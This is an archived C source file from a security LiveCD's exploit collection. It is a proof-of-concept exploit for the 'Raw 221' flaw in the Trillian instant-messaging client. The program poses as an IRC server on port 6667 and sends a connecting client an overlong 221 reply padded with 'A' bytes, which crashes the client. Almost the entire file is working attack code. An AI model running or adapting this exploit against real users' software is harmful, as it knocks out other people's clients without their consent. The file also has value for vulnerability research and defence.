home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / Trillian-221.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  88 lines

  1. /* Trillian-221.c
  2.    Author: Lance Fitz-Herbert
  3.    Contact: IRC: Phrizer, DALnet - #KORP
  4.             ICQ: 23549284
  5.  
  6.    Exploits the Trillian "Raw 221" Flaw.
  7.    Tested On Version .74 and .73
  8.    Compiles with Borland 5.5 Commandline Tools.
  9.  
  10.    This Example Will Just DoS The Trillian Client,
  11.    not particularly useful, just proves the flaw exists.
  12.  
  13.    Greets: AnAh, Hooves.
  14. */
  15.  
  16. #include <windows.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <winsock.h>
  20.  
  21. SOCKET s;
  22.  
  23. #define MSG1 ":server 221 target "
  24.  
  25. int main() {
  26.  
  27.         SOCKET TempSock = SOCKET_ERROR;
  28.         WSADATA WsaDat;
  29.         SOCKADDR_IN Sockaddr;
  30.         int nRet;
  31.         char payload[257];
  32.  
  33.         printf("\nTrillian Raw 221 Flaw\n");
  34.         printf("---------------------\n");
  35.         printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
  36.         printf("Tested On Version .74 and .73\nListening On Port 6667 For 
  37. Connections\n\n");
  38.  
  39.         if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
  40.                 printf("ERROR: WSA Initialization failed.");
  41.                 return 0;
  42.         }
  43.  
  44.  
  45.         /* Create Socket */
  46.         s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  47.         if (s == INVALID_SOCKET) {
  48.                 printf("ERROR: Could Not Create Socket. Exiting\n");
  49.                 WSACleanup();
  50.                 return 0;
  51.         }
  52.  
  53.         Sockaddr.sin_port = htons(6667);
  54.         Sockaddr.sin_family = AF_INET;
  55.         Sockaddr.sin_addr.s_addr  = INADDR_ANY;
  56.  
  57.  
  58.         nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
  59.         if (nRet == SOCKET_ERROR) {
  60.                 printf("ERROR Binding Socket");
  61.                 WSACleanup();
  62.                 return 0;
  63.         }
  64.  
  65.         /* Make Socket Listen */
  66.         if (listen(s, 10) == SOCKET_ERROR) {
  67.                 printf("ERROR: Couldnt Make Listening Socket\n");
  68.                 WSACleanup();
  69.                 return 0;
  70.         }
  71.  
  72.         while (TempSock == SOCKET_ERROR) {
  73.               TempSock = accept(s, NULL, NULL);
  74.         }
  75.  
  76.         printf("Client Connected, Sending Payload\n");
  77.  
  78.         send(TempSock,MSG1,strlen(MSG1),0);
  79.         memset(payload,'A',257);
  80.         send(TempSock,payload,strlen(payload),0);
  81.         send(TempSock,"\n",1,0);
  82.  
  83.         printf("Exiting\n");
  84.         sleep(100);
  85.         WSACleanup();
  86.         return 0;
  87. }
  88.